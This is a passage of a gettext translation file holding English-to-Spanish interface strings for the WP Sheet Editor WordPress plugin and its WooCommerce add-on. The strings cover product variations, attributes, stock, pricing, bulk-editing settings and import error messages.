this is enabled the products variations will be displayed and you will " "be able to edit them." msgstr "" "Cuando esta opción está habilitada, las variaciones de los productos se " "mostrarán y podrás editarlas." #: woocommerce/inc/variations.php:362 msgid "Edit only parent products" msgstr "Editar solo los productos simples y padres" #: woocommerce/inc/variations.php:363 msgid "Edit only variations" msgstr "Editar solo las variaciones" #: woocommerce/inc/variations.php:410 msgid "Allow to edit this column on variation rows?" msgstr "¿Permitir editar esta columna en las filas de variaciones?" #: woocommerce/inc/variations.php:411 msgid "" "We automatically allow columns for variations if at least one variation is " "using that field." msgstr "" "Automáticamente, permitimos la edición de columnas en filas de variaciones " "si al menos una variación usa ese campo." #: woocommerce/inc/variations.php:458 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:889 msgid "Variation description" msgstr "Descripción de la variación" #: woocommerce/inc/variations.php:469 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:907 msgid "Variation enabled?" msgstr "¿Variación habilitada?" #: woocommerce/inc/variations.php:486 woocommerce/inc/variations.php:488 #: woocommerce/inc/variations.php:490 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:926 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:928 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:930 msgid "Default attributes" msgstr "Atributos predeterminados" #: woocommerce/inc/variations.php:491 msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Los atributos aparecen como desplegables en la página del producto, donde el " "usuario puede seleccionar los colores, tamaños y cualquier atributo de la " "variación. Aquí se pueden definir las opciones por defecto seleccionadas en " "los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo " "funciona para Productos Variables y deben tener variaciones, de lo contrario " "los atributos por defecto no se guardarán." #: woocommerce/inc/variations.php:935 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:136 msgid "Variation: %s" msgstr "Variación: %s" #: woocommerce/inc/variations.php:1090 woocommerce/inc/variations.php:1260 msgid "" "Please update all the WP Sheet Editor plugins. This feature requires the " "latest version of all our plugins." msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Esta función requiere la última versión de todos nuestros " "plugins." #: woocommerce/inc/variations.php:1105 msgid "The source product doesn't have variations." msgstr "El producto fuente no tiene variaciones." #: woocommerce/inc/variations.php:1256 woocommerce/inc/variations.php:1283 #: wp-sheet-editor/dev/inc/ajax.php:198 msgid "Request not allowed. Try again later." msgstr "Solicitud no permitida. Inténtalo más tarde." #: woocommerce/inc/variations.php:1267 msgid "We don't have variations to copy." msgstr "No encontramos variaciones para copiar." #: woocommerce/inc/variations.php:1272 msgid "{total_created} of {total} variations created." msgstr "{total_created} de {total} variaciones han sido creadas." #: woocommerce/inc/variations.php:1364 woocommerce/inc/variations.php:1465 msgid "%s variations created." msgstr "%s variaciones creadas." #: woocommerce/inc/variations.php:1376 msgid "Target products not found." msgstr "Productos de destino no encontrados." #: woocommerce/inc/variations.php:1481 msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "La opción de crear variaciones para cada combinación de atributos requiere " "WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce." #: woocommerce/inc/variations.php:1485 msgid "User not allowed" msgstr "Usuario no autorizado" #: woocommerce/inc/variations.php:1489 msgid "Data missing, try again later." msgstr "Faltan datos, inténtalo de nuevo más tarde." #: woocommerce/inc/variations.php:1506 msgid "Wrong product type. Make sure it is a variable product." msgstr "Tipo de producto equivocado. Asegúrate que sea un producto variable." #: woocommerce/inc/variations.php:1621 msgid "Please select a source product." msgstr "Por favor, selecciona un producto de origen." #: woocommerce/inc/variations.php:1799 msgid "Error on row ID: %d - %s" msgstr "Error en la fila con el ID: %d - %s" #: woocommerce/inc/variations.php:1806 msgid "Please correct the error and save again." msgstr "Por favor, corrige el error y guarda de nuevo." #: woocommerce/views/spreadsheet-create-variations-modal.php:8 msgid "Variations Manager" msgstr "Gestor de Variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:11 #: woocommerce/views/spreadsheet-create-variations-modal.php:15 msgid "Copy variations" msgstr "Copiar variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:16 #: woocommerce/views/spreadsheet-create-variations-modal.php:76 msgid "Tutorial" msgstr "Tutorial" #: woocommerce/views/spreadsheet-create-variations-modal.php:20 msgid "Copy variations and attributes from this product:" msgstr "Copiar variaciones y atributos de este producto:" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "I don't want to copy all the variations" msgstr "No quiero copiar todas las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "Por defecto, copiaremos todos los atributos y todas las variaciones y " "reemplazaremos las variaciones existentes. Puedes habilitar esta opción para " "copiar variaciones individuales y añadirlas a las variaciones existentes en " "el producto de destino." #: woocommerce/views/spreadsheet-create-variations-modal.php:31 msgid "Which variations do you want to copy?" msgstr "¿Qué variaciones quieres copiar?" #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "The variations are for these products: " msgstr "Las variaciones son para este/estos producto(s): " #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "Copy the variations into these products." msgstr "Copiar las variaciones este/estos producto(s)." #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 msgid "Select individual products" msgstr "Seleccionar productos individuales" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 #: woocommerce/views/spreadsheet-create-variations-modal.php:84 msgid "Select all the products from a search" msgstr "Seleccionar todos los productos de una búsqueda" #: woocommerce/views/spreadsheet-create-variations-modal.php:44 msgid "All the products in the store" msgstr "Todos los productos de la tienda" #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "I understand it will update the products from my search." msgstr "Entiendo que se editarán los productos de mi búsqueda." #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta " "de búsqueda, actualizaremos sólo los posts con el autor Marcos" #: woocommerce/views/spreadsheet-create-variations-modal.php:53 msgid "Show advanced options " msgstr "Mostrar opciones avanzadas " #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "Use prices from simple product (parent) on the variations" msgstr "Usar los precios del producto simple (Padre) para las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Puedes convertir productos simples en productos variables. Puedes copiar las " "variaciones en un producto simple y mantener los precios del producto simple " "en las variaciones." #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "Only copy new variations" msgstr "Copiar solo las variaciones nuevas" #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "" "The existing variations in the target products will not be edited nor " "overwritten." msgstr "" "Las variaciones existentes en los productos de destino no serán editadas ni " "sobrescritas." #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "Do not copy the variation images?" msgstr "¿No copiar las imágenes de las variaciones?" #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Habilita esta opción si quieres copiar todos los datos de la variación, " "excepto la imagen de la variación." #: woocommerce/views/spreadsheet-create-variations-modal.php:67 msgid "" "Warning: Please make a backup before copying variations in case you want to " "undo the changes later." msgstr "" "Advertencia: Por favor, haz una copia de seguridad en caso de que quieras " "deshacer los cambios después." #: woocommerce/views/spreadsheet-create-variations-modal.php:85 msgid "All the variable products" msgstr "Todos los productos variables" #: woocommerce/views/spreadsheet-create-variations-modal.php:96 msgid "Create variations for every combination of attributes?" msgstr "¿Crear variaciones para cada combinación de atributos?" #: woocommerce/views/spreadsheet-create-variations-modal.php:99 msgid "Create this number of variations" msgstr "Crear este número de variaciones" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "Search on variations?" msgstr "¿Buscar variaciones?" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Todos los parámetros se utilizarán para buscar variaciones en lugar de los " "productos principales." #: woocommerce/views/variation-metabox-shortcut.php:10 msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas " "a la vez en nuestra hoja de cálculo. Abrir " "en una hoja de cálculo" #: woocommerce/woocommerce.php:181 msgid "Remove duplicates by sku (delete the latest)" msgstr "Borrar duplicados por SKU (borrar los más nuevos)" #: woocommerce/woocommerce.php:189 msgid "Remove duplicates by sku (delete the oldest)" msgstr "Borrar duplicados por SKU (borrar los más viejos)" #: woocommerce/woocommerce.php:213 msgid "Copy regular price and decrease number" msgstr "Copiar el precio normal y disminuir en cantidad" #: woocommerce/woocommerce.php:230 msgid "Copy regular price and decrease by percentage" msgstr "Copiar precio normal y disminuir en porcentaje" #: woocommerce/woocommerce.php:278 msgid "Copy variations faster: Number of variations to copy per batch" msgstr "Copiar variaciones más rápido: Número de variaciones a copiar por lote" #: woocommerce/woocommerce.php:279 msgid "" "Here you can control the batch size for the copy of variations. If you use a " "high number the copy will finish faster but it can saturate your server. We " "recommend a low value like 50 so it will not saturate your server although " "it might be slower" msgstr "" "Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas " "un valor alto, la copia terminará más rápido pero puede saturar tu servidor. " "Recomendamos copiar 50 por tanda." #: woocommerce/woocommerce.php:284 msgid "WooCommerce products" msgstr "Productos WooCommerce" #: woocommerce/woocommerce.php:289 msgid "Disable product inventory stats?" msgstr "¿Deshabilitar las estadísticas de inventario de productos?" #: woocommerce/woocommerce.php:290 msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "La hoja de cálculo de productos de WooCommerce genera automáticamente las " "unidades de inventario y las estadísticas de precios de inventario y muestra " "las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja " "si tienes varios miles de productos. Desactívalo si la hoja de cálculo es " "demasiado lenta o ves errores al cargar las filas." #: woocommerce/woocommerce.php:296 msgid "Use separate columns for images during export and import?" msgstr "" "¿Usar columnas separadas para las imágenes durante la exportación e " "importación?" #: woocommerce/woocommerce.php:297 msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "Por defecto, exportamos e importamos una columna llamada \"Imágenes\" con la " "imagen destacada y galería combinada. Habilita esta opción para exportar e " "importar una columna para la imagen destacada y una para la galería de " "imágenes." #: woocommerce/woocommerce.php:303 msgid "" "Disable the automatic activation of \"used for variations\" for attributes " "on variable products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Usar para " "variaciones\" para los atributos en los productos variables?" #: woocommerce/woocommerce.php:304 msgid "" "By default, if the product is variable, we activate \"used for variations\" " "to save you time, so you can create your variations faster. But if you " "prefer to manually activate it on specific attributes, you can activate this " "option." msgstr "" "Por defecto, si el producto es variable, activamos la opción \"Usar para " "variaciones\" para ahorrarte tiempo y que puedas crear tus variaciones más " "rápido. Pero si prefieres activar esa opción manualmente en atributos " "específicos, puedes activar esta opción." #: woocommerce/woocommerce.php:310 msgid "" "Disable the automatic activation of \"is visible\" for attributes on " "products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Es visible\" para los " "atributos de los productos?" #: woocommerce/woocommerce.php:311 msgid "" "By default, we make the attributes visible in the products when you save any " "attribute in the spreadsheet to save you time, but if you prefer to manually " "activate it on specific attributes, you can activate this option." msgstr "" "Por defecto, hacemos visibles los atributos en los productos cuando guardas " "cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si " "prefieres habilitar esta opción manualmente en atributos específicos, puedes " "activar esta opción." #: woocommerce/woocommerce.php:317 msgid "Product attributes not visible" msgstr "Atributos de producto no visibles" #: woocommerce/woocommerce.php:318 msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords in the attribute key, enter multiple separated by comma. I.e. " "\"car, airplane\" would match \"Car model, Car marker, Expensive Airplane, " "airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" "El plugin marcará como visibles todos los atributos que NO contengan estas " "palabras clave en la clave del atributo, ingresa varias separadas por comas. " "Por ejemplo, \"coche, avión\" coincidiría con \"Modelo de coche, Marca de " "coche, Avión caro, Aviones\". Esto se aplica después de editar un producto " "en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:323 msgid "Product attributes not used for variations" msgstr "Atributos de producto no usados para las variaciones" #: woocommerce/woocommerce.php:324 msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords in the attribute key, enter multiple separated by " "comma. I.e. \"car, airplane\" would match \"Car model, Car marker, Expensive " "Airplane, airplanes\". This applies after editing a product in the " "spreadsheet cells." msgstr "" "El plugin marcará como usados para variaciones todos los atributos que NO " "contengan estas palabras clave en la clave del atributo, ingresa varias " "separadas por comas. Por ejemplo, \"coche, avión\" coincidiría con \"Modelo " "de coche, Marca de coche, Avión caro, Aviones\". Esto se aplica después de " "editar un producto en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:329 msgid "Maximum number of variations per combination of attributes" msgstr "Número máximo de variaciones por combinación de atributos" #: woocommerce/woocommerce.php:330 msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "La herramienta \"Crear variaciones\" te permite crear variaciones basadas en " "la combinación de atributos. El límite por defecto es de 200 variaciones " "para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas " "más variaciones." #: woocommerce/woocommerce.php:335 msgid "Custom attribute names" msgstr "Nombres de atributos personalizados" #: woocommerce/woocommerce.php:336 msgid "We will create columns for these custom attributes." msgstr "Crearemos columnas para estos atributos personalizados." #: woocommerce/woocommerce.php:341 msgid "Allow to see the variation URL slug?" msgstr "¿Permitir ver el slug de la URL de la variación?" #: woocommerce/woocommerce.php:342 msgid "" "Variations dont use URL slugs but this can be useful if you want to see the " "previous URL of the variation after you converted a simple product into a " "variation." msgstr "" "Las variaciones no usan URL slugs pero esto puede ser útil si quieres ver la " "URL anterior de la variación después de convertir un producto simple en una " "variación." #: woocommerce/woocommerce.php:348 msgid "Update the lookup table and run the WC Webhooks always?" msgstr "" "¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de " "WooCommerce?" #: woocommerce/woocommerce.php:349 msgid "" "By default, for performance reasons, we trigger the WC API events when " "fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, " "Type. Activate this option if you want to trigger the WC API events when any " "field is edited, including fields unrelated to WC." msgstr "" "Por defecto, por razones de rendimiento, activamos los eventos de la API WC " "cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, " "Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos " "de la API de WC cuando se edite cualquier campo, incluidos los campos no " "relacionados con WC." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:403 woocommerce/woocommerce.php:422 msgid "Attribute name" msgstr "Nombre del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:405 woocommerce/woocommerce.php:424 msgid "Attribute value(s)" msgstr "Valor(es) del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:407 woocommerce/woocommerce.php:426 msgid "Attribute visibility" msgstr "Visibilidad del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:409 woocommerce/woocommerce.php:428 msgid "Is a global attribute?" msgstr "¿Es un atributo global?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:411 woocommerce/woocommerce.php:430 msgid "Default attribute" msgstr "Atributo por defecto" #. translators: %d: Download number #: woocommerce/woocommerce.php:413 woocommerce/woocommerce.php:432 msgid "Download name" msgstr "Nombre de la descarga" #. translators: %d: Download number #: woocommerce/woocommerce.php:415 woocommerce/woocommerce.php:434 msgid "Download URL" msgstr "URL de la descarga" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 woocommerce/woocommerce.php:436 msgid "Import as meta data" msgstr "Importar como metadatos" #: woocommerce/woocommerce.php:418 wp-sheet-editor/dev/inc/ajax.php:358 msgid "Tags" msgstr "Etiquetas" #: woocommerce/woocommerce.php:418 woocommerce/woocommerce.php:437 msgid "Tags (comma separated)" msgstr "Etiquetas (separadas por comas)" #: woocommerce/woocommerce.php:514 msgid "Inventory" msgstr "Inventario" #: woocommerce/woocommerce.php:576 msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar las filas de la hoja de cálculo para cargar las " "variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres " "recargar ahora?" #: woocommerce/woocommerce.php:577 msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por " "favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?" #: woocommerce/woocommerce.php:625 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:461 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:462 msgid "Short description" msgstr "Descripción corta" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:466 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:467 msgid "Enable reviews" msgstr "Habilitar las valoraciones" #: woocommerce/woocommerce.php:651 wp-sheet-editor/dev/inc/api/helpers.php:540 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:976 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:682 msgid "Vendor" msgstr "Vendedor" #: woocommerce/woocommerce.php:722 msgid "Product gallery" msgstr "Galería del producto" #: woocommerce/woocommerce.php:737 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:509 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:750 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "Precio normal" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "Precio rebajado" #: woocommerce/woocommerce.php:778 msgid "Sale start date" msgstr "Fecha inicial del precio rebajado" #: woocommerce/woocommerce.php:804 msgid "Sale end date" msgstr "Fecha final del precio rebajado" #: woocommerce/woocommerce.php:829 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:594 msgid "Manage stock" msgstr "Gestionar de inventario" #: woocommerce/woocommerce.php:849 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:612 msgid "Stock status" msgstr "Estado del inventario" #: woocommerce/woocommerce.php:866 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:630 msgid "Stock" msgstr "Inventario" #: woocommerce/woocommerce.php:879 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:547 msgid "Weight" msgstr "Peso (kg)" #: woocommerce/woocommerce.php:890 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:559 msgid "Width" msgstr "Anchura" #: woocommerce/woocommerce.php:901 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:571 msgid "Height" msgstr "Altura" #: woocommerce/woocommerce.php:912 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:583 msgid "Length" msgstr "Longitud" #: woocommerce/woocommerce.php:922 msgid "Cross-sells" msgstr "Ventas cruzadas" #: woocommerce/woocommerce.php:929 woocommerce/woocommerce.php:946 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Ingresa varios SKUs o IDs separados por comas" #: woocommerce/woocommerce.php:939 msgid "Upsells" msgstr "Ventas dirigidas" #: woocommerce/woocommerce.php:958 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:642 msgid "Visibility" msgstr "Visibilidad" #: woocommerce/woocommerce.php:974 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:684 msgid "Virtual" msgstr "Virtual" #: woocommerce/woocommerce.php:993 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 msgid "Sold individually" msgstr "Vendido individualmente" #: woocommerce/woocommerce.php:1010 msgid "Is featured?" msgstr "Es destacado?" #: woocommerce/woocommerce.php:1028 msgid "Backorders allowed?" msgstr "¿Permitir reservas?" #: woocommerce/woocommerce.php:1034 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:762 msgid "Do not allow" msgstr "No permitir" #: woocommerce/woocommerce.php:1035 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:763 msgid "Allow, but notify customer" msgstr "Permitir, pero se avisará al cliente" #: woocommerce/woocommerce.php:1036 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Allow" msgstr "Permitir" #: woocommerce/woocommerce.php:1049 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:776 msgid "Purchase note" msgstr "Nota de compra" #: woocommerce/woocommerce.php:1061 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:789 msgid "Shipping class" msgstr "Clase de envío" #: woocommerce/woocommerce.php:1076 msgid "Average rating" msgstr "Puntuación media" #: woocommerce/woocommerce.php:1086 msgid "Review count" msgstr "Recuento de valoraciones" #: woocommerce/woocommerce.php:1096 msgid "Total sales" msgstr "Ventas totales" #: wp-sheet-editor/dev/inc/ajax.php:40 msgid "Rows deleted successfully" msgstr "Filas eliminadas con éxito" #: wp-sheet-editor/dev/inc/ajax.php:76 msgid "You dont have enough permissions to load rows." msgstr "No tienes suficientes permisos para cargar filas." #: wp-sheet-editor/dev/inc/ajax.php:123 wp-sheet-editor/dev/inc/ajax.php:240 #: wp-sheet-editor/dev/inc/ajax.php:244 msgid "You dont have enough permissions to save changes." msgstr "No tienes suficientes permisos para guardar los cambios." #: wp-sheet-editor/dev/inc/ajax.php:148 msgid "Changes saved successfully" msgstr "Los cambios se guardaron con éxito" #: wp-sheet-editor/dev/inc/ajax.php:163 msgid "You dont have enough permissions to create new rows." msgstr "No tienes suficientes permisos para crear nuevas filas." #: wp-sheet-editor/dev/inc/ajax.php:218 msgid "No items found." msgstr "No se han encontrado artículos." #: wp-sheet-editor/dev/inc/ajax.php:269 msgid "Saved: %s" msgstr "Guardado: %s" #: wp-sheet-editor/dev/inc/ajax.php:288 wp-sheet-editor/dev/inc/ajax.php:313 #: wp-sheet-editor/dev/inc/ajax.php:386 msgid "You dont have enough permissions to search taxonomy terms." msgstr "No tienes suficientes permisos para buscar taxonomías." #: wp-sheet-editor/dev/inc/ajax.php:336 msgid "No taxonomies found." msgstr "No se han encontrado taxonomías." #: wp-sheet-editor/dev/inc/api/bootstrap.php:107 msgid "Open in a Spreadsheet" msgstr "Abrir en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/api/bootstrap.php:132 #: wp-sheet-editor/dev/inc/api/columns.php:314 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "Editar %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:209 #: wp-sheet-editor/dev/views/support-modal.php:6 #: wp-sheet-editor/dev/views/usage-stats-widget.php:126 msgid "Help" msgstr "Ayuda" #: wp-sheet-editor/dev/inc/api/bootstrap.php:223 #: wp-sheet-editor/dev/views/whats-new.php:45 #: wp-sheet-editor/dev/wp-sheet-editor.php:1148 msgid "Extensions" msgstr "Extensiones" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 #: wp-sheet-editor/dev/views/editor-page.php:159 msgid "Global sort" msgstr "Orden global" #: wp-sheet-editor/dev/inc/api/bootstrap.php:250 msgid "We'll reload the spreadsheet when you change this option." msgstr "Recargaremos la hoja de cálculo cuando cambies esta opción." #: wp-sheet-editor/dev/inc/api/bootstrap.php:252 msgid "Sort" msgstr "Ordenar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:277 #: wp-sheet-editor/dev/inc/api/editor.php:351 msgid "You can create new items here" msgstr "Puedes crear nuevas filas aquí" #: wp-sheet-editor/dev/inc/api/bootstrap.php:288 msgid "Load" msgstr "Cargar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:299 msgid "Exit Full Screen" msgstr "Salir del modo de Pantalla Completa" #: wp-sheet-editor/dev/inc/api/bootstrap.php:310 msgid "Show cells as simple text" msgstr "Mostrar las celdas como texto simple" #: wp-sheet-editor/dev/inc/api/bootstrap.php:313 msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "Por defecto, las fechas se muestran en un calendario, el contenido del post " "tiene una opción de editor de texto, las imágenes muestran una vista previa, " "etc. Puedes habilitar esta opción para que se muestre todo como texto sin " "formato y deshabilitar el formato elegante." #: wp-sheet-editor/dev/inc/api/bootstrap.php:324 msgid "Load more on scroll" msgstr "Cargar más al hacer scroll" #: wp-sheet-editor/dev/inc/api/bootstrap.php:327 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Cuando esta opción está habilitada, se cargarán más elementos en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página" #: wp-sheet-editor/dev/inc/api/bootstrap.php:339 msgid "Scan DB to find fields" msgstr "Escanear la BD para encontrar campos" #: wp-sheet-editor/dev/inc/api/bootstrap.php:343 msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Podemos escanear la base de datos, encontrar nuevos campos y crear columnas " "automáticamente para los campos soportados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 #: wp-sheet-editor/dev/inc/api/bootstrap.php:359 msgid "All changes saved." msgstr "Todos los cambios fueron guardados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Saving changes, don't close this page." msgstr "Guardando cambios, por favor no cierres esta página." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Some changes are not saved yet." msgstr "Algunos cambios no han sido guardados todavía." #: wp-sheet-editor/dev/inc/api/bootstrap.php:518 #: wp-sheet-editor/dev/inc/api/bootstrap.php:544 msgid "Content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/api/bootstrap.php:529 msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Usa este editor para editar sólo el contenido, otros campos como etiquetas y " "categorías deben ser editados en la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/bootstrap.php:569 #: wp-sheet-editor/dev/inc/api/editor.php:378 msgid "WP Editor" msgstr "Editor de WP" #: wp-sheet-editor/dev/inc/api/bootstrap.php:593 msgid "View" msgstr "Ver" #: wp-sheet-editor/dev/inc/api/bootstrap.php:643 msgid "Modified Date" msgstr "Fecha de modificación" #: wp-sheet-editor/dev/inc/api/bootstrap.php:682 msgid "Excerpt" msgstr "Extracto" #: wp-sheet-editor/dev/inc/api/bootstrap.php:695 msgid "Delete completely" msgstr "Eliminar completamente" #: wp-sheet-editor/dev/inc/api/bootstrap.php:774 msgid "Order" msgstr "Orden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:837 msgid "Enter multiple terms separated by %s" msgstr "Ingresa varios términos separados por %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:866 msgid "Post type" msgstr "Post type" #: wp-sheet-editor/dev/inc/api/bootstrap.php:890 msgid "Password" msgstr "Contraseña" #: wp-sheet-editor/dev/inc/api/editor.php:207 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Puedes remover estos mensajes de ayuda en los ajustes avanzados)" #: wp-sheet-editor/dev/inc/api/editor.php:226 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:227 msgid "Enable" msgstr "Habilitar" #: wp-sheet-editor/dev/inc/api/editor.php:283 msgid "Please select at least one column to import" msgstr "Por favor, selecciona al menos una columna a importar" #: wp-sheet-editor/dev/inc/api/editor.php:284 msgid "Show column key" msgstr "Mostrar la clave de la columna" #: wp-sheet-editor/dev/inc/api/editor.php:285 msgid "" "This is the dynamic tag for this column. You can copy this and use it in the " "bulk edit tool" msgstr "" "Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo " "en la herramienta de edición masiva" #: wp-sheet-editor/dev/inc/api/editor.php:286 msgid "Click here to show all columns again" msgstr "Haz clic aquí para ver todas las columnas otra vez" #: wp-sheet-editor/dev/inc/api/editor.php:287 msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows " "every few seconds).
                  2- You can start a new import, sometimes trying again " "works (use the \"advanced settings\" in the step 1 of the import to start " "from a specific row).
                  3- You can increase the php memory following this tutorial
